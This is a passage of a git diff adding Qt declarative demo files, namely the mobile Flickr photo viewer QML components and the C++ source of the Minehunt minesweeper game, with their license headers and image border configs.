+ width: 77; height: 77; anchors.centerIn: parent
+ Rectangle {
+ id: whiteRect; width: 77; height: 77; color: "#dddddd"; smooth: true
+ Image { id: thumb; source: imagePath; x: 1; y: 1; smooth: true }
+ Image { source: "images/gloss.png" }
+ }
+ }
+
+ Connections {
+ target: toolBar
+ onButton2Clicked: if (scaleMe.state == 'Details' ) scaleMe.state = 'Show'
+ }
+
+ states: [
+ State {
+ name: "Show"; when: thumb.status == Image.Ready
+ PropertyChanges { target: scaleMe; scale: 1 }
+ },
+ State {
+ name: "Details"
+ PropertyChanges { target: scaleMe; scale: 1 }
+ ParentChange { target: whiteRect; x: 10; y: 20; parent: imageDetails.frontContainer }
+ PropertyChanges { target: background; state: "DetailedView" }
+ }
+ ]
+ transitions: [
+ Transition {
+ from: "Show"; to: "Details"
+ ParentAnimation {
+ via: foreground
+ NumberAnimation { properties: "x,y"; duration: 500; easing.type: Easing.InOutQuad }
+ }
+ },
+ Transition {
+ from: "Details"; to: "Show"
+ ParentAnimation {
+ via: foreground
+ NumberAnimation { properties: "x,y"; duration: 500; easing.type: Easing.InOutQuad }
+ }
+ }
+ ]
+ }
+ MouseArea { anchors.fill: wrapper; onClicked: photoClicked() }
+}
+
diff --git a/demos/declarative/flickr/qml/flickr/mobile/ImageDetails.qml b/demos/declarative/flickr/qml/flickr/mobile/ImageDetails.qml
new file mode 100644
index 00000000..ef966002
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/ImageDetails.qml
@@ -0,0 +1,186 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "../common" as Common
+
+Flipable {
+ id: container
+
+ property alias frontContainer: containerFront
+ property string photoTitle: ""
+ property string photoTags: ""
+ property int photoWidth
+ property int photoHeight
+ property string photoType
+ property string photoAuthor
+ property string photoDate
+ property string photoUrl
+ property int rating: 2
+ property variant prevScale: 1.0
+
+ signal closed
+
+ transform: Rotation {
+ id: itemRotation
+ origin.x: container.width / 2;
+ axis.y: 1; axis.z: 0
+ }
+
+ front: Item {
+ id: containerFront; anchors.fill: container
+
+ Rectangle {
+ anchors.fill: parent
+ color: "black"; opacity: 0.4
+ }
+
+ Column {
+ spacing: 10
+ anchors {
+ left: parent.left; leftMargin: 10
+ right: parent.right; rightMargin: 10
+ top: parent.top; topMargin: 120
+ }
+ Text { font.bold: true; color: "white"; elide: Text.ElideRight; text: container.photoTitle; width: parent.width }
+ Text { color: "white"; elide: Text.ElideRight; text: "Size: " + container.photoWidth + 'x' + container.photoHeight; width: parent.width }
+ Text { color: "white"; elide: Text.ElideRight; text: "Type: " + container.photoType; width: parent.width }
+ Text { color: "white"; elide: Text.ElideRight; text: "Author: " + container.photoAuthor; width: parent.width }
+ Text { color: "white"; elide: Text.ElideRight; text: "Published: " + container.photoDate; width: parent.width }
+ Text { color: "white"; elide: Text.ElideRight; text: container.photoTags == "" ? "" : "Tags: "; width: parent.width }
+ Text { color: "white"; elide: Text.ElideRight; text: container.photoTags; width: parent.width }
+ }
+ }
+
+ back: Item {
+ anchors.fill: container
+
+ Rectangle { anchors.fill: parent; color: "black"; opacity: 0.4 }
+
+ Common.Progress {
+ anchors.centerIn: parent; width: 200; height: 22
+ progress: bigImage.progress; visible: bigImage.status != Image.Ready
+ }
+
+ Flickable {
+ id: flickable; anchors.fill: parent; clip: true
+ contentWidth: imageContainer.width; contentHeight: imageContainer.height
+
+ function updateMinimumScale() {
+ if (bigImage.status == Image.Ready && bigImage.width != 0) {
+ slider.minimum = Math.min(flickable.width / bigImage.width, flickable.height / bigImage.height);
+ if (bigImage.width * slider.value > flickable.width) {
+ var xoff = (flickable.width/2 + flickable.contentX) * slider.value / prevScale;
+ flickable.contentX = xoff - flickable.width/2;
+ }
+ if (bigImage.height * slider.value > flickable.height) {
+ var yoff = (flickable.height/2 + flickable.contentY) * slider.value / prevScale;
+ flickable.contentY = yoff - flickable.height/2;
+ }
+ prevScale = slider.value;
+ }
+ }
+
+ onWidthChanged: updateMinimumScale()
+ onHeightChanged: updateMinimumScale()
+
+ Item {
+ id: imageContainer
+ width: Math.max(bigImage.width * bigImage.scale, flickable.width);
+ height: Math.max(bigImage.height * bigImage.scale, flickable.height);
+
+ Image {
+ id: bigImage; source: container.photoUrl; scale: slider.value
+ anchors.centerIn: parent; smooth: !flickable.movingVertically
+ onStatusChanged : {
+ // Default scale shows the entire image.
+ if (bigImage.status == Image.Ready && bigImage.width != 0) {
+ slider.minimum = Math.min(flickable.width / bigImage.width, flickable.height / bigImage.height);
+ prevScale = Math.min(slider.minimum, 1);
+ slider.value = prevScale;
+ }
+ }
+ }
+ }
+ }
+
+ Text {
+ text: "Image Unavailable"
+ visible: bigImage.status == Image.Error
+ anchors.centerIn: parent; color: "white"; font.bold: true
+ }
+
+ Common.Slider {
+ id: slider; visible: { bigImage.status == Image.Ready && maximum > minimum }
+ anchors {
+ bottom: parent.bottom; bottomMargin: 65
+ left: parent.left; leftMargin: 25
+ right: parent.right; rightMargin: 25
+ }
+ onValueChanged: {
+ if (bigImage.width * value > flickable.width) {
+ var xoff = (flickable.width/2 + flickable.contentX) * value / prevScale;
+ flickable.contentX = xoff - flickable.width/2;
+ }
+ if (bigImage.height * value > flickable.height) {
+ var yoff = (flickable.height/2 + flickable.contentY) * value / prevScale;
+ flickable.contentY = yoff - flickable.height/2;
+ }
+ prevScale = value;
+ }
+ }
+ }
+
+ states: State {
+ name: "Back"
+ PropertyChanges { target: itemRotation; angle: 180 }
+ PropertyChanges { target: toolBar; button2Visible: false }
+ PropertyChanges { target: toolBar; button1Label: "Back" }
+ }
+
+ transitions: Transition {
+ SequentialAnimation {
+ PropertyAction { target: bigImage; property: "smooth"; value: false }
+ NumberAnimation { easing.type: Easing.InOutQuad; properties: "angle"; duration: 500 }
+ PropertyAction { target: bigImage; property: "smooth"; value: !flickable.movingVertically }
+ }
+ }
+}
diff --git a/demos/declarative/flickr/qml/flickr/mobile/ListDelegate.qml b/demos/declarative/flickr/qml/flickr/mobile/ListDelegate.qml
new file mode 100644
index 00000000..7a54443d
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/ListDelegate.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Component {
+ Item {
+ id: wrapper; width: wrapper.ListView.view.width; height: 86
+ Item {
+ id: moveMe
+ Rectangle { color: "black"; opacity: index % 2 ? 0.2 : 0.4; height: 84; width: wrapper.width; y: 1 }
+ Rectangle {
+ x: 6; y: 4; width: 77; height: 77; color: "white"; smooth: true
+
+ Image { source: imagePath; x: 1; y: 1 }
+ Image { source: "images/gloss.png" }
+ }
+ Column {
+ x: 92; width: wrapper.ListView.view.width - 95; y: 15; spacing: 2
+ Text { text: title; color: "white"; width: parent.width; font.pixelSize: 14; font.bold: true; elide: Text.ElideRight; style: Text.Raised; styleColor: "black" }
+ Text { text: photoAuthor; width: parent.width; font.pixelSize: 14; elide: Text.ElideLeft; color: "#cccccc"; style: Text.Raised; styleColor: "black" }
+ Text { text: photoDate; width: parent.width; font.pixelSize: 14; elide: Text.ElideRight; color: "#cccccc"; style: Text.Raised; styleColor: "black" }
+ }
+ }
+ }
+}
diff --git a/demos/declarative/flickr/qml/flickr/mobile/TitleBar.qml b/demos/declarative/flickr/qml/flickr/mobile/TitleBar.qml
new file mode 100644
index 00000000..f0d0703c
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/TitleBar.qml
@@ -0,0 +1,128 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: titleBar
+ property string untaggedString: "Uploads from everyone"
+ property string taggedString: "Recent uploads tagged "
+
+ BorderImage { source: "images/titlebar.sci"; width: parent.width; height: parent.height + 14; y: -7 }
+
+ Item {
+ id: container
+ width: (parent.width * 2) - 55 ; height: parent.height
+
+ function accept() {
+ imageDetails.closed()
+ titleBar.state = ""
+ background.state = ""
+ rssModel.tags = editor.text
+ }
+
+ Image {
+ id: quitButton
+ anchors.left: parent.left//; anchors.leftMargin: 0
+ anchors.verticalCenter: parent.verticalCenter
+ source: "images/quit.png"
+ MouseArea {
+ anchors.fill: parent
+ onClicked: Qt.quit()
+ }
+ }
+
+ Text {
+ id: categoryText
+ anchors {
+ left: quitButton.right; right: tagButton.left; leftMargin: 10; rightMargin: 10
+ verticalCenter: parent.verticalCenter
+ }
+ elide: Text.ElideLeft
+ text: (rssModel.tags=="" ? untaggedString : taggedString + rssModel.tags)
+ font.bold: true; font.pixelSize: 15; color: "White"; style: Text.Raised; styleColor: "Black"
+ }
+
+ Button {
+ id: tagButton; x: titleBar.width - 50; width: 45; height: 32; text: "..."
+ onClicked: if (titleBar.state == "Tags") container.accept(); else titleBar.state = "Tags"
+ anchors.verticalCenter: parent.verticalCenter
+ }
+
+ Item {
+ id: lineEdit
+ y: 4; height: parent.height - 9
+ anchors { left: tagButton.right; leftMargin: 5; right: parent.right; rightMargin: 5 }
+
+ BorderImage { source: "images/lineedit.sci"; anchors.fill: parent }
+
+ TextInput {
+ id: editor
+ anchors {
+ left: parent.left; right: parent.right; leftMargin: 10; rightMargin: 10
+ verticalCenter: parent.verticalCenter
+ }
+ cursorVisible: true; font.bold: true
+ color: "#151515"; selectionColor: "Green"
+ }
+
+ Keys.forwardTo: [ (returnKey), (editor)]
+
+ Item {
+ id: returnKey
+ Keys.onReturnPressed: container.accept()
+ Keys.onEnterPressed: container.accept()
+ Keys.onEscapePressed: titleBar.state = ""
+ }
+ }
+ }
+
+ states: State {
+ name: "Tags"
+ PropertyChanges { target: container; x: -tagButton.x + 5 }
+ PropertyChanges { target: tagButton; text: "OK" }
+ PropertyChanges { target: editor; focus: true }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "x"; easing.type: Easing.InOutQuad }
+ }
+}
diff --git a/demos/declarative/flickr/qml/flickr/mobile/ToolBar.qml b/demos/declarative/flickr/qml/flickr/mobile/ToolBar.qml
new file mode 100644
index 00000000..7a8ec14c
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/ToolBar.qml
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: toolbar
+
+ property alias button1Label: button1.text
+ property alias button2Label: button2.text
+ property alias button2Visible: button2.visible
+
+ signal button1Clicked
+ signal button2Clicked
+
+ BorderImage { source: "images/titlebar.sci"; width: parent.width; height: parent.height + 14; y: -7 }
+
+ Row {
+ anchors.right: parent.right; anchors.rightMargin: 5; y: 3; height: 32; spacing: 30
+ Button {
+ id: button1
+ width: 140; height: 32
+ onClicked: toolbar.button1Clicked()
+ }
+
+ Button {
+ id: button2; width: 140; height: 32
+ onClicked: toolbar.button2Clicked()
+ }
+ }
+}
diff --git a/demos/declarative/flickr/qml/flickr/mobile/images/gloss.png b/demos/declarative/flickr/qml/flickr/mobile/images/gloss.png
new file mode 100644
index 00000000..5d370cd9
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/images/gloss.png
Binary files differ
diff --git a/demos/declarative/flickr/qml/flickr/mobile/images/lineedit.png b/demos/declarative/flickr/qml/flickr/mobile/images/lineedit.png
new file mode 100644
index 00000000..2cc38dc3
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/images/lineedit.png
Binary files differ
diff --git a/demos/declarative/flickr/qml/flickr/mobile/images/lineedit.sci b/demos/declarative/flickr/qml/flickr/mobile/images/lineedit.sci
new file mode 100644
index 00000000..054bff78
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/images/lineedit.sci
@@ -0,0 +1,5 @@
+border.left: 10
+border.top: 10
+border.bottom: 10
+border.right: 10
+source: lineedit.png
diff --git a/demos/declarative/flickr/qml/flickr/mobile/images/quit.png b/demos/declarative/flickr/qml/flickr/mobile/images/quit.png
new file mode 100644
index 00000000..5bda1b6e
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/images/quit.png
Binary files differ
diff --git a/demos/declarative/flickr/qml/flickr/mobile/images/stripes.png b/demos/declarative/flickr/qml/flickr/mobile/images/stripes.png
new file mode 100644
index 00000000..9f36727e
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/images/stripes.png
Binary files differ
diff --git a/demos/declarative/flickr/qml/flickr/mobile/images/titlebar.png b/demos/declarative/flickr/qml/flickr/mobile/images/titlebar.png
new file mode 100644
index 00000000..51c90082
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/images/titlebar.png
Binary files differ
diff --git a/demos/declarative/flickr/qml/flickr/mobile/images/titlebar.sci b/demos/declarative/flickr/qml/flickr/mobile/images/titlebar.sci
new file mode 100644
index 00000000..0418d94c
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/images/titlebar.sci
@@ -0,0 +1,5 @@
+border.left: 10
+border.top: 12
+border.bottom: 12
+border.right: 10
+source: titlebar.png
diff --git a/demos/declarative/flickr/qml/flickr/mobile/images/toolbutton.png b/demos/declarative/flickr/qml/flickr/mobile/images/toolbutton.png
new file mode 100644
index 00000000..11310013
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/images/toolbutton.png
Binary files differ
diff --git a/demos/declarative/flickr/qml/flickr/mobile/images/toolbutton.sci b/demos/declarative/flickr/qml/flickr/mobile/images/toolbutton.sci
new file mode 100644
index 00000000..9e4f9653
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/images/toolbutton.sci
@@ -0,0 +1,5 @@
+border.left: 15
+border.top: 4
+border.bottom: 4
+border.right: 15
+source: toolbutton.png
diff --git a/demos/declarative/minehunt/README b/demos/declarative/minehunt/README
new file mode 100644
index 00000000..3849ca5f
--- /dev/null
+++ b/demos/declarative/minehunt/README
@@ -0,0 +1,6 @@
+Minehunt has to be compiled to run.
+
+To compile the C++ part, do 'qmake && make'.
+To run, simply run the executable.
+To deploy on a device, do 'make sis'.
+
diff --git a/demos/declarative/minehunt/main.cpp b/demos/declarative/minehunt/main.cpp
new file mode 100644
index 00000000..8d3c5457
--- /dev/null
+++ b/demos/declarative/minehunt/main.cpp
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the demonstration applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include "minehunt.h"
+#include <QtGui/QApplication>
+#include <QtDeclarative/QDeclarativeContext>
+#include <QtDeclarative/QDeclarativeEngine>
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+ QmlApplicationViewer viewer;
+
+ qmlRegisterType<TileData>();
+ MinehuntGame* game = new MinehuntGame();
+
+ viewer.engine()->rootContext()->setContextObject(game);
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/minehunt/minehunt.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/demos/declarative/minehunt/minehunt.cpp b/demos/declarative/minehunt/minehunt.cpp
new file mode 100644
index 00000000..21f9b320
--- /dev/null
+++ b/demos/declarative/minehunt/minehunt.cpp
@@ -0,0 +1,221 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the demonstration applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <stdlib.h>
+#include <QTime>
+#include <QTimer>
+
+#include "minehunt.h"
+
+void tilesPropAppend(QDeclarativeListProperty<TileData>* prop, TileData* value)
+{
+ Q_UNUSED(prop);
+ Q_UNUSED(value);
+ return; //Append not supported
+}
+
+int tilesPropCount(QDeclarativeListProperty<TileData>* prop)
+{
+ return static_cast<QList<TileData*>*>(prop->data)->count();
+}
+
+TileData* tilesPropAt(QDeclarativeListProperty<TileData>* prop, int index)
+{
+ return static_cast<QList<TileData*>*>(prop->data)->at(index);
+}
+
+QDeclarativeListProperty<TileData> MinehuntGame::tiles(){
+ return QDeclarativeListProperty<TileData>(this, &_tiles, &tilesPropAppend,
+ &tilesPropCount, &tilesPropAt, 0);
+}
+
+MinehuntGame::MinehuntGame()
+: numCols(9), numRows(9), playing(true), won(false)
+{
+ setObjectName("mainObject");
+ srand(QTime(0,0,0).secsTo(QTime::currentTime()));
+
+ //initialize array
+ for(int ii = 0; ii < numRows * numCols; ++ii) {
+ _tiles << new TileData;
+ }
+ reset();
+
+}
+
+void MinehuntGame::setBoard()
+{
+ foreach(TileData* t, _tiles){
+ t->setHasMine(false);
+ t->setHint(-1);
+ }
+ //place mines
+ int mines = nMines;
+ remaining = numRows*numCols-mines;
+ while ( mines ) {
+ int col = int((double(rand()) / double(RAND_MAX)) * numCols);
+ int row = int((double(rand()) / double(RAND_MAX)) * numRows);
+
+ TileData* t = tile( row, col );
+
+ if (t && !t->hasMine()) {
+ t->setHasMine( true );
+ mines--;
+ }
+ }
+
+ //set hints
+ for (int r = 0; r < numRows; r++)
+ for (int c = 0; c < numCols; c++) {
+ TileData* t = tile(r, c);
+ if (t && !t->hasMine()) {
+ int hint = getHint(r,c);
+ t->setHint(hint);
+ }
+ }
+
+ setPlaying(true);
+}
+
+void MinehuntGame::reset()
+{
+ foreach(TileData* t, _tiles){
+ t->unflip();
+ t->setHasFlag(false);
+ }
+ nMines = 12;
+ nFlags = 0;
+ emit numMinesChanged();
+ emit numFlagsChanged();
+ setPlaying(false);
+ QTimer::singleShot(600,this, SLOT(setBoard()));
+}
+
+int MinehuntGame::getHint(int row, int col)
+{
+ int hint = 0;
+ for (int c = col-1; c <= col+1; c++)
+ for (int r = row-1; r <= row+1; r++) {
+ TileData* t = tile(r, c);
+ if (t && t->hasMine())
+ hint++;
+ }
+ return hint;
+}
+
+bool MinehuntGame::flip(int row, int col)
+{
+ if(!playing)
+ return false;
+
+ TileData *t = tile(row, col);
+ if (!t || t->hasFlag())
+ return false;
+
+ if(t->flipped()){
+ int flags = 0;
+ for (int c = col-1; c <= col+1; c++)
+ for (int r = row-1; r <= row+1; r++) {
+ TileData *nearT = tile(r, c);
+ if(!nearT || nearT == t)
+ continue;
+ if(nearT->hasFlag())
+ flags++;
+ }
+ if(!t->hint() || t->hint() != flags)
+ return false;
+ for (int c = col-1; c <= col+1; c++)
+ for (int r = row-1; r <= row+1; r++) {
+ TileData *nearT = tile(r, c);
+ if (nearT && !nearT->flipped() && !nearT->hasFlag()) {
+ flip( r, c );
+ }
+ }
+ return true;
+ }
+
+ t->flip();
+
+ if (t->hint() == 0) {
+ for (int c = col-1; c <= col+1; c++)
+ for (int r = row-1; r <= row+1; r++) {
+ TileData* t = tile(r, c);
+ if (t && !t->flipped()) {
+ flip( r, c );
+ }
+ }
+ }
+
+ if(t->hasMine()){
+ for (int r = 0; r < numRows; r++)//Flip all other mines
+ for (int c = 0; c < numCols; c++) {
+ TileData* t = tile(r, c);
+ if (t && t->hasMine()) {
+ flip(r, c);
+ }
+ }
+ won = false;
+ hasWonChanged();
+ setPlaying(false);
+ return true;
+ }
+
+ remaining--;
+ if(!remaining){
+ won = true;
+ hasWonChanged();
+ setPlaying(false);
+ return true;
+ }
+ return true;
+}
+
+bool MinehuntGame::flag(int row, int col)
+{
+ TileData *t = tile(row, col);
+ if(!t || !playing || t->flipped())
+ return false;
+
+ t->setHasFlag(!t->hasFlag());
+ nFlags += (t->hasFlag()?1:-1);
+ emit numFlagsChanged();
+ return true;
+}
diff --git a/demos/declarative/minehunt/minehunt.h b/demos/declarative/minehunt/minehunt.h
new file mode 100644
index 00000000..5d6902ec
--- /dev/null
+++ b/demos/declarative/minehunt/minehunt.h
@@ -0,0 +1,129 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the demonstration applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+#include <qdeclarative.h>
+
+class TileData : public QObject
+{
+ Q_OBJECT
+public:
+ TileData() : _hasFlag(false), _hasMine(false), _hint(-1), _flipped(false) {}
+
+ Q_PROPERTY(bool hasFlag READ hasFlag WRITE setHasFlag NOTIFY hasFlagChanged)
+ bool hasFlag() const { return _hasFlag; }
+
+ Q_PROPERTY(bool hasMine READ hasMine NOTIFY hasMineChanged)
+ bool hasMine() const { return _hasMine; }
+
+ Q_PROPERTY(int hint READ hint NOTIFY hintChanged)
+ int hint() const { return _hint; }
+
+ Q_PROPERTY(bool flipped READ flipped NOTIFY flippedChanged())
+ bool flipped() const { return _flipped; }
+
+ void setHasFlag(bool flag) {if(flag==_hasFlag) return; _hasFlag = flag; emit hasFlagChanged();}
+ void setHasMine(bool mine) {if(mine==_hasMine) return; _hasMine = mine; emit hasMineChanged();}
+ void setHint(int hint) { if(hint == _hint) return; _hint = hint; emit hintChanged(); }
+ void flip() { if (_flipped) return; _flipped = true; emit flippedChanged(); }
+ void unflip() { if(!_flipped) return; _flipped = false; emit flippedChanged(); }
+
+signals:
+ void flippedChanged();
+ void hasFlagChanged();
+ void hintChanged();
+ void hasMineChanged();
+
+private:
+ bool _hasFlag;
+ bool _hasMine;
+ int _hint;
+ bool _flipped;
+};
+
+class MinehuntGame : public QObject
+{
+ Q_OBJECT
+public:
+ MinehuntGame();
+
+ Q_PROPERTY(QDeclarativeListProperty<TileData> tiles READ tiles CONSTANT)
+ QDeclarativeListProperty<TileData> tiles();
+
